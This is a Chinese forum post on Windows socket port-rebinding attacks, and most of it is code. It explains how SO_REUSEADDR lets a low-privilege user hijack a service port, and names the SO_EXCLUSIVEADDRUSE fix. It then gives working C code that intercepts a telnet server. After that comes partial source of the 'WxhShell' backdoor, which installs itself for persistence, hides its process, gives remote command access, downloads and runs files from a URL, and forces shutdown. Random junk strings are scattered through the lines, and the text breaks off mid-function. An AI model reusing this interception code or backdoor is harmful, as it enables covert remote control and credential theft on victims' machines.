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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: M ]W'>g)G  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 59 O;`y0  
b5 YE4h8%  
  saddr.sin_family = AF_INET; g>x2[//pk  
A0yRA+  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); }%[TJ@R;  
B5u0 6O  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); =M)>w4-  
l/`<iG%  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 T5&jpP`M  
Eu\&}n`i  
  这意味着什么?意味着可以进行如下的攻击: @#1k+tSA,  
)H#Hs<)Qy  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Er Ji  
' eO 4h^  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) &}VGC=F;d  
~Rk%M$E9  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 +O}6 8 N  
tt,MO)8 VD  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  zWgNDYT~  
fQlR;4QX]  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 _L(6F T J  
-*k%'Gr  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 kg7oH.0E  
g/W<;o<v(I  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 KP[ax2!x  
m;lwMrY\7>  
  #include {*As-Y:'F  
  #include I 6a{'c(P  
  #include {QTfD~z^K  
  #include    ^Qrdh0j  
  DWORD WINAPI ClientThread(LPVOID lpParam);   *nluK  
  int main() x SF#ys4v  
  { eP|:b &  
  WORD wVersionRequested; FD*`$.e3\  
  DWORD ret; >IC.Zt@  
  WSADATA wsaData; *j2P#et  
  BOOL val; EYd`qk 3  
  SOCKADDR_IN saddr; BS>|M}G)r  
  SOCKADDR_IN scaddr; xaX3<V@S  
  int err; QS,IM >Nr  
  SOCKET s; }]N7CWy  
  SOCKET sc; |[}YM %e  
  int caddsize; zFqH)/  
  HANDLE mt; &4sUi K"  
  DWORD tid;   ej47'#EY  
  wVersionRequested = MAKEWORD( 2, 2 ); +,9I3Dq  
  err = WSAStartup( wVersionRequested, &wsaData ); xvQJTR k  
  if ( err != 0 ) { 3_B .W  
  printf("error!WSAStartup failed!\n"); !v<r=u  
  return -1; sAfSI<L_  
  } l.\Fr+*ej  
  saddr.sin_family = AF_INET; Cq?l>  
   {f3)!Pei`J  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 m'XzZmI  
Hu|NS{Ke-  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); R{\vOw:*  
  saddr.sin_port = htons(23); C;}~C:aJ  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) !`hjvJryw  
  { 6BRQX\  
  printf("error!socket failed!\n"); 1bF aQ50t  
  return -1; ]T}G-  
  } 9 }iEEI  
  val = TRUE; mm'n#%\G  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 QK<sibDI  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ;&37mO/T  
  { 'ADt<m_$  
  printf("error!setsockopt failed!\n"); jn>3(GRGC$  
  return -1; E< "aUnI  
  } k'&BAC.K,  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; rXuhd [!(P  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 vr/V_  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 :"g^y6i  
XU5/7 .  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) mS6 #\'Qa  
  { ~tn*y4uK  
  ret=GetLastError(); N\l\ M  
  printf("error!bind failed!\n"); _N$3c<dY'  
  return -1; z 3fS+x:E{  
  } .slA }  
  listen(s,2); z*>"I  
  while(1) r#JE7uneT  
  { )9 5&-Hs  
  caddsize = sizeof(scaddr); {'E%SIRZ)  
  //接受连接请求 1T!b# x4  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 2HoTj|  
  if(sc!=INVALID_SOCKET) tm@&f  
  { IkFrzw p  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); c^><^LGb  
  if(mt==NULL) 6C4c.+S  
  { a&6 3[p.<}  
  printf("Thread Creat Failed!\n"); AIR,XlD  
  break; {3@f(H m  
  } v{$X2z_$w  
  } /qed_w.p  
  CloseHandle(mt); 57*z0<  
  } #Gx%PQ`  
  closesocket(s); QxH%4 )?  
  WSACleanup(); R22YKXU  
  return 0; 7/a[;`i*!  
  }   S3EY9:^ C  
  DWORD WINAPI ClientThread(LPVOID lpParam) _?M34&.X  
  { tisSj?+  
  SOCKET ss = (SOCKET)lpParam; No>XRG+  
  SOCKET sc; X xcY  
  unsigned char buf[4096]; !qS~YA  
  SOCKADDR_IN saddr; pYa8iQ`6U;  
  long num; [^ $nt  
  DWORD val; 5,})x]'x  
  DWORD ret; Fm_^7|  
  //如果是隐藏端口应用的话,可以在此处加一些判断 u\ro9l  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   G|Rsj{2'  
  saddr.sin_family = AF_INET; a\ fG)Fqp  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); C$(US8:{  
  saddr.sin_port = htons(23); #3>o^cN~8k  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) U<gM gA  
  { @)1>ba  
  printf("error!socket failed!\n"); 4='Xhm  
  return -1; t'|A0r$  
  } dIg/g~ t"  
  val = 100; m_zl*s*6  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) .T 6 NMIp*  
  { =e](eA;  
  ret = GetLastError(); h:-ZXIv?  
  return -1; &a5UQ>  
  } O;z:?  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) T$%r?p(s  
  { n^B9Mh @  
  ret = GetLastError(); >h1 3i@`r  
  return -1; 1K?RA*aj  
  } ;>np2K<`  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) GK .^Gd  
  { c.dk4v%Y5  
  printf("error!socket connect failed!\n"); g5M=$y/H  
  closesocket(sc); $s+/OgG4H  
  closesocket(ss);  (-Cxv`7  
  return -1; nNz1gV:0X  
  } ]6L;   
  while(1) DXBc 7J  
  { +wc8rE6+W  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 0gO_dyB  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 mivb}cKM  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 O2;FaASF  
  num = recv(ss,buf,4096,0); <}t~^E,  
  if(num>0) 7'Z-VO  
  send(sc,buf,num,0); YbtsJ <w  
  else if(num==0) g xY6M4  
  break; 3}dTbr4y  
  num = recv(sc,buf,4096,0); i0Ejo;dB  
  if(num>0) Su?e\7aj  
  send(ss,buf,num,0); k#F |  
  else if(num==0) s|F}Abx,^  
  break; /Cy4]1dw  
  } mSLA4[4{  
  closesocket(ss); B|pO2d e  
  closesocket(sc); 5;'(^z-bL  
  return 0 ; VzfaUAIZl  
  } h ` qlI1]  
fh_+M"Y0`  
\c}_!.xj"  
========================================================== ;\j7jz^uC  
<}75Xo  
下边附上一个代码,,WXhSHELL WX .Ax$fT  
Zc9@G-  
========================================================== oC ?UGY~xL  
\4Uhc3  
#include "stdafx.h" |j$r@  
cq]JD6937  
#include <stdio.h> & "i4og<  
#include <string.h> F t/yPv  
#include <windows.h> XSk*w'xO  
#include <winsock2.h> =~zsah6N  
#include <winsvc.h> hr$Wt ?B  
#include <urlmon.h> z]_2lx2e  
5~D(jHY;  
#pragma comment (lib, "Ws2_32.lib") ebno:)  
#pragma comment (lib, "urlmon.lib") /2^"c+/'p  
]%M&pc3U  
#define MAX_USER   100 // 最大客户端连接数 <*JFY%y "  
#define BUF_SOCK   200 // sock buffer qm^|7m^  
#define KEY_BUFF   255 // 输入 buffer O6*2oUKqK  
8;6j  
#define REBOOT     0   // 重启 ')N[)&&Q{  
#define SHUTDOWN   1   // 关机 1WjNFi  
(4o<U%3kGq  
#define DEF_PORT   5000 // 监听端口  :o~]FVf  
aVB/Co M9  
#define REG_LEN     16   // 注册表键长度 $UNC0 (4  
#define SVC_LEN     80   // NT服务名长度 m tU{d^B  
q QcQnd2K  
// 从dll定义API mR["xDHD  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ^'9.VVyz  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); w*?SGW  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); %xt;&HE  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Q,nJz*AJ  
+3uPHpMB-  
// wxhshell配置信息 T@wgWE<0y_  
struct WSCFG { 5{/uHscwLa  
  int ws_port;         // 监听端口 'oKen!?A  
  char ws_passstr[REG_LEN]; // 口令 u9nJ;:  
  int ws_autoins;       // 安装标记, 1=yes 0=no ai%*s&0/Y  
  char ws_regname[REG_LEN]; // 注册表键名 "; 1@f"kw  
  char ws_svcname[REG_LEN]; // 服务名 P~ : N  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 d1P|v( `S9  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Qb%o%z?hee  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 (+yH   
int ws_downexe;       // 下载执行标记, 1=yes 0=no 3r VfBz  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" (E;+E\E  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Ez8k.]qu  
*+OS;R1<  
}; |`ya+/ff+  
?(Se$iTZ  
// default Wxhshell configuration OZc4 -5  
struct WSCFG wscfg={DEF_PORT, }y%c.  
    "xuhuanlingzhe", J>l?HK  
    1, |v:oLgUdH  
    "Wxhshell", )J*M{Gm6i  
    "Wxhshell", H*j!_>W  
            "WxhShell Service", C@`rg ILc  
    "Wrsky Windows CmdShell Service", 1rx, qfCq  
    "Please Input Your Password: ", 2&"qNpPtE  
  1, t4iD<{4  
  "http://www.wrsky.com/wxhshell.exe", 2FR+Z3&z  
  "Wxhshell.exe" Xh}S_/9}5  
    }; lZAXDxhnT  
=oBlUE  
// 消息定义模块 rD+mI/_J`  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; VV;%q3}:  
char *msg_ws_prompt="\n\r? for help\n\r#>"; _ amP:h  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; {J1iheuS}  
char *msg_ws_ext="\n\rExit."; %afN&T  
char *msg_ws_end="\n\rQuit."; hkb&]XWi[  
char *msg_ws_boot="\n\rReboot..."; 9tX+n{i  
char *msg_ws_poff="\n\rShutdown..."; Zg$S% 1(Q  
char *msg_ws_down="\n\rSave to "; i;rcg d  
H;R~d%!b  
char *msg_ws_err="\n\rErr!"; 6hMKAk  
char *msg_ws_ok="\n\rOK!"; #f [}a  
\TZSn1isZX  
char ExeFile[MAX_PATH]; e)= " Fq!  
int nUser = 0; ZNVrja*  
HANDLE handles[MAX_USER]; Sn S$5o  
int OsIsNt; b'``0OB)  
z&cM8w:  
SERVICE_STATUS       serviceStatus; 7Db}bDU1 |  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Jd^Lnp6?  
T|8:_4/l  
// 函数声明 @@j:z;^|  
int Install(void); "OwK-  
int Uninstall(void); ]5K+W  
int DownloadFile(char *sURL, SOCKET wsh); /GVjesN  
int Boot(int flag); cZJ5L>ox  
void HideProc(void); LSo*JO6  
int GetOsVer(void); tLi91)oG  
int Wxhshell(SOCKET wsl); g<@Q)p*ow  
void TalkWithClient(void *cs); ),CKuq>  
int CmdShell(SOCKET sock); ? cXW\A(  
int StartFromService(void); /IN#1I!K  
int StartWxhshell(LPSTR lpCmdLine); 5 w(nttYH  
HKr}"`I.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 43x2BW&&  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Lb)rloca  
6DU~6c=)  
// 数据结构和表定义 tKS[  
SERVICE_TABLE_ENTRY DispatchTable[] = _RzF h  
{ n$`+03a  
{wscfg.ws_svcname, NTServiceMain}, | p!($  
{NULL, NULL} ufCpX>lNF  
}; q}+zN eC  
_1Q6FI5iR  
// 自我安装  IMr#5  
int Install(void) XmD(&3;v-  
{ ?2l `%l5(  
  char svExeFile[MAX_PATH]; +%v1X&_\  
  HKEY key; jQxhR  
  strcpy(svExeFile,ExeFile); O/|))H?C  
U(0FL6sPC  
// 如果是win9x系统,修改注册表设为自启动 d#TA20`  
if(!OsIsNt) { K-~gIlbQ`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { JO*/UC>"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); BPa,P_6(  
  RegCloseKey(key); Fsm6gE`|n  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { p U9 .#O  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5RvE ),  
  RegCloseKey(key); 1 _Oc1RM   
  return 0; PWZd<  
    } qEuO@oE  
  } &e6UEG  
} (8aj`> y  
else { J^`5L7CO  
-uWV( ,|  
// 如果是NT以上系统,安装为系统服务 Xp_m=QQsm  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); {g#4E0.A!  
if (schSCManager!=0) H0#=oJr$)W  
{ ]iGeqwT  
  SC_HANDLE schService = CreateService ;1[Z&Uv8  
  ( 8q%y(e  
  schSCManager, "!D y[J  
  wscfg.ws_svcname, ^~I@]5Pq  
  wscfg.ws_svcdisp, +}N'Xa/Jt  
  SERVICE_ALL_ACCESS, t/Y0e#9,  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Bcarx<P-p  
  SERVICE_AUTO_START, 4xEw2F  
  SERVICE_ERROR_NORMAL, mE`qA*=?  
  svExeFile, SOq:!Qt  
  NULL, b~}$Ch3ymW  
  NULL, |4g0@}nr+W  
  NULL, $:%E<j 4Dn  
  NULL, =qc+sMo  
  NULL JLnv O  
  ); w8>h6x "  
  if (schService!=0) JC%&d1  
  { Lj(cCtb)  
  CloseServiceHandle(schService); |mE;HvQF  
  CloseServiceHandle(schSCManager); ? "r=08  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 3r, ~-6  
  strcat(svExeFile,wscfg.ws_svcname); 'St6a*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ) PTvw>  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ZaU8eg7  
  RegCloseKey(key);  k`Ifl)  
  return 0; -1Dq_!i  
    } p d#Sn+&rf  
  } 6_4 B!  
  CloseServiceHandle(schSCManager); 7M~sol[*  
} Nwz?*~1  
} /$CTz xd1  
?/"|tuQMW  
return 1; cd1G.10  
} R8k4?_W?T  
R__:~ uv,  
// 自我卸载 } 1e4u{  
int Uninstall(void) UPU$SZAIx  
{ VJqk0w+  
  HKEY key; ]vlBYAW'  
R`cP%7K  
if(!OsIsNt) { N"G aQ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +ZM,E8  
  RegDeleteValue(key,wscfg.ws_regname); 4_kN';a4Q  
  RegCloseKey(key); 4lB??`UN  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { '1:)q  
  RegDeleteValue(key,wscfg.ws_regname); Z;Hkx1  
  RegCloseKey(key); d(o=)!p  
  return 0; #dj?^n g  
  } )Q'E^[Ua  
} 0SQr%:zG  
} x{SlJ%V  
else { C)z4Cn9#  
)&c#?wx'w  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); hr}f5Z)^v  
if (schSCManager!=0) &\N>N7/1  
{ b$ 7 ]cE  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); M_};J;  
  if (schService!=0) E(P 6s;LZ  
  { b<00 %Z  
  if(DeleteService(schService)!=0) { :J`@@H  
  CloseServiceHandle(schService); ]8\I{LR  
  CloseServiceHandle(schSCManager); (QiA5!wg  
  return 0; MqnUym  
  } qT@h/Y  
  CloseServiceHandle(schService); }_]AQN$'G  
  } c4Zpt%:}h  
  CloseServiceHandle(schSCManager); m!/TJhiQ  
} IC0L&;En  
} dtC@cK/,D  
ZwS:Te9-  
return 1; q@ -B+  
} m}uOBR+  
{h?pvH_>  
// 从指定url下载文件 z%YNZ ^d  
int DownloadFile(char *sURL, SOCKET wsh) *8Z2zmZtR^  
{ :Z//  
  HRESULT hr; ( 2HM "Pd  
char seps[]= "/"; .>B'oD  
char *token; N `|A  
char *file; !CGX\cvW  
char myURL[MAX_PATH]; !4vb{AH  
char myFILE[MAX_PATH]; v|%41xOsr  
U>E: Ub0r  
strcpy(myURL,sURL); DXiA4ihr=  
  token=strtok(myURL,seps); *): |WDR  
  while(token!=NULL) ~=|}!A(  
  { $Z@*!B^  
    file=token; AHb_BgOU*  
  token=strtok(NULL,seps); ,MCTb'=G  
  } >|QH I d8  
qVn<c,8#  
GetCurrentDirectory(MAX_PATH,myFILE); /t0L%jJZ  
strcat(myFILE, "\\"); n[3z_Q I  
strcat(myFILE, file); TpKAdrY  
  send(wsh,myFILE,strlen(myFILE),0); Bu{Kjv  
send(wsh,"...",3,0); FU3K?A B  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); h6h6B.\ Ld  
  if(hr==S_OK) aA`eKy) \  
return 0; l00i2w  
else ]8p{A#1  
return 1; UM7@c7B?  
4\;zz8 5E  
} 3V k8'  
8Qg10Yjy  
// 系统电源模块 @{y'_fw  
int Boot(int flag) X1^VdJE  
{ rnIj pc F  
  HANDLE hToken; u H[WlZ4  
  TOKEN_PRIVILEGES tkp; Lw>B:3e  
`n PdZ.  
  if(OsIsNt) { tu -a`h_NJ  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); \o>-L\`O  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); W'./p"2g  
    tkp.PrivilegeCount = 1; .|,LBc!  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; \*$^}8  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); qOo4T@ t3  
if(flag==REBOOT) { % N8I'*u  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) >XgoN\w  
  return 0; P6gkbtg  
} .(@=L1C<}J  
else { t#NPbLZ  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) FZ- Wgh 0z  
  return 0; =6sP`:  
} 7[m+r:y  
  } 0+>g/ >  
  else { j 3<Ci {3  
if(flag==REBOOT) { ]es|%j 2  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) uMcI'=  
  return 0; 'm`O34h  
} EG{+Sz  
else { n`5Nf  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Wmbc `XC  
  return 0; Ic/hVKYG5  
} \Id8X`,eD  
} zIc6L3w$  
)M8d\]  
return 1; '}hSh  
} gfL :SP8  
JU8}TX  
// win9x进程隐藏模块 c~T {;  
void HideProc(void) g#I`P&  
{ 7F"ljkN1S  
: /5+p>Ep}  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll");  ^*P?gG  
  if ( hKernel != NULL ) 0AnL]`"t.3  
  { neEqw +#Z  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); `gl?y;xC  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); e#}t am  
    FreeLibrary(hKernel); d!I%AlV  
  } ]@U?hD  
qZ<n\Mt  
return; 2^XmtT  
} /M5.Z~|/  
L91(|gQP  
// 获取操作系统版本 'M%iS4b{IM  
int GetOsVer(void) Gb^63.}  
{ m0G"Aj  
  OSVERSIONINFO winfo; ei2?H;H;  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); O!Ue0\1Kj0  
  GetVersionEx(&winfo); @;EQ{d  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) i?_Q@uA~<:  
  return 1; n^' d8Y(  
  else U'jmgHq  
  return 0; <@7j37,R7V  
} ,I iKe_B  
-IIrrY O  
// 客户端句柄模块 4H;g"nWqO  
int Wxhshell(SOCKET wsl) P#pb48^-  
{ uxW |&q  
  SOCKET wsh; *<9M|H~  
  struct sockaddr_in client; `[=/f=Q}  
  DWORD myID; ='#7yVVcs  
J^kSp  
  while(nUser<MAX_USER) b#(QZ  
{ 7x*L 1>[`'  
  int nSize=sizeof(client); JWt@vf~  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); m=`V  
  if(wsh==INVALID_SOCKET) return 1; G$`hPNSh  
q:_-#u  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); CyS.GdyP  
if(handles[nUser]==0) d.snD)X  
  closesocket(wsh); H8c -/  
else "t{D5{q|[k  
  nUser++; ~@^pX*%i  
  } *@ \LS!N  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); WAr6Dv,8  
FOa2VP%  
  return 0; eET1f8 B=L  
} 5IG#-Q(6sp  
.v) A|{:2  
// 关闭 socket `?N|{kb  
void CloseIt(SOCKET wsh) <l)I% 1T_c  
{ "jq F  
closesocket(wsh); }g.)%Bw!  
nUser--; ovtZHq/  
ExitThread(0); cMUmJH  
} P; =,Q$e8  
LZPLz@=&]  
// 客户端请求句柄 c5Hm94, p  
void TalkWithClient(void *cs) c"'JMq  
{ $+ \JT/eG9  
;;17 #T2  
  SOCKET wsh=(SOCKET)cs; r-}C !aF]  
  char pwd[SVC_LEN]; e=6C0fr  
  char cmd[KEY_BUFF]; 9&4z4@on  
char chr[1]; 9(9\kQj{C  
int i,j; xirZ.wjW  
yzCamm4~0  
  while (nUser < MAX_USER) { 0o!Egq_  
_`]YWvh  
if(wscfg.ws_passstr) { k5Df9 7\s  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^paM{'J\\)  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); w#$Q?u ,G  
  //ZeroMemory(pwd,KEY_BUFF); s4\_%je<v  
      i=0; {Ve_u  
  while(i<SVC_LEN) { 9&KiG* .  
i\k>2df  
  // 设置超时 )mXu{uowr  
  fd_set FdRead; &14Er,K  
  struct timeval TimeOut; uHO>FM,  
  FD_ZERO(&FdRead); U{.yX7  
  FD_SET(wsh,&FdRead); t'Pn*  
  TimeOut.tv_sec=8; czp}-{4X  
  TimeOut.tv_usec=0; }Ias7d?re  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); I.}E#f/A'  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); k| ,F/:  
p#(5 ;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); xrl!$xE GX  
  pwd=chr[0]; 9r hl2E  
  if(chr[0]==0xd || chr[0]==0xa) { 0=KyupwXC  
  pwd=0; r5aOQ  
  break; zH+a*R  
  } io(Rb\#"  
  i++; /q>1X!Z  
    } &,~Oi(SX5  
jAb R[QR1%  
  // 如果是非法用户,关闭 socket 3rw<#t;v  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 3]g|Cwu  
} u IGeSd5B  
T4x%dg  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); z#elwL6  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5ki<1{aVtZ  
.a`(?pPr,  
while(1) { i_6 Y6  
e2l!L*[g  
  ZeroMemory(cmd,KEY_BUFF); Gg=Y}S7:  
xF8^#J6>  
      // 自动支持客户端 telnet标准   '&hk?  
  j=0; =;?afUj  
  while(j<KEY_BUFF) { Dm 0Ts~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \_J;i[  
  cmd[j]=chr[0]; 0B?t:XU,  
  if(chr[0]==0xa || chr[0]==0xd) { V*w~Sr%  
  cmd[j]=0; E2~&GkU.UN  
  break; .8EaFEd  
  } z->[:)c  
  j++; (TJ )Y7E  
    } ~y.t amNW  
rsgTd\b  
  // 下载文件 HSsG0&'-Y  
  if(strstr(cmd,"http://")) { soXIPf  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 2/m4|  
  if(DownloadFile(cmd,wsh)) ;Wu6f"+Y#  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); )UgLs|G~  
  else ~SN *  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B LI 9(@  
  } 6_wj,7  
  else { K{WLo5HP  
yz7X7mAo  
    switch(cmd[0]) { yhSbX4Q  
  +<o}@hefY2  
  // 帮助 -- chU5  
  case '?': { FLzC kzJ:6  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); +XP9=U*g  
    break; 3q*p#l~  
  } _ ^ny(zy(  
  // 安装 lrL:v~g  
  case 'i': { Q^k\q  
    if(Install()) O4.`N?Xq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A5[iFT>  
    else P/XCaj3a[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bs9X4n5  
    break; g<(\#F}/  
    } $4ZjNN@  
  // 卸载 |.EC>D /  
  case 'r': { 8%Eau wAx  
    if(Uninstall()) WAqH*LB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x>TIQU=\  
    else cWS 0B $$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `+0K~k|DC  
    break; J=sj+:GS  
    } _ ,~D]JYE  
  // 显示 wxhshell 所在路径 O.Xhi+  
  case 'p': { rctGa ,l  
    char svExeFile[MAX_PATH]; :.bBV]6q  
    strcpy(svExeFile,"\n\r"); tR`^c8gD  
      strcat(svExeFile,ExeFile); @D@_PA)e(  
        send(wsh,svExeFile,strlen(svExeFile),0); cy @",z  
    break; %-J} m  
    } ;:A/WU.^  
  // 重启 )N'rYS' 9  
  case 'b': { sRK oM  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); e[l#r>NT  
    if(Boot(REBOOT)) (R|Ftjs .  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); MlH0  
    else { 6O0CF}B*  
    closesocket(wsh); iwx*mC{|A  
    ExitThread(0); 15\k/[3 #  
    } rMEM$1vPU  
    break; @b{I0+li"/  
    } uP NZ^lM  
  // 关机 # ; 3v4P  
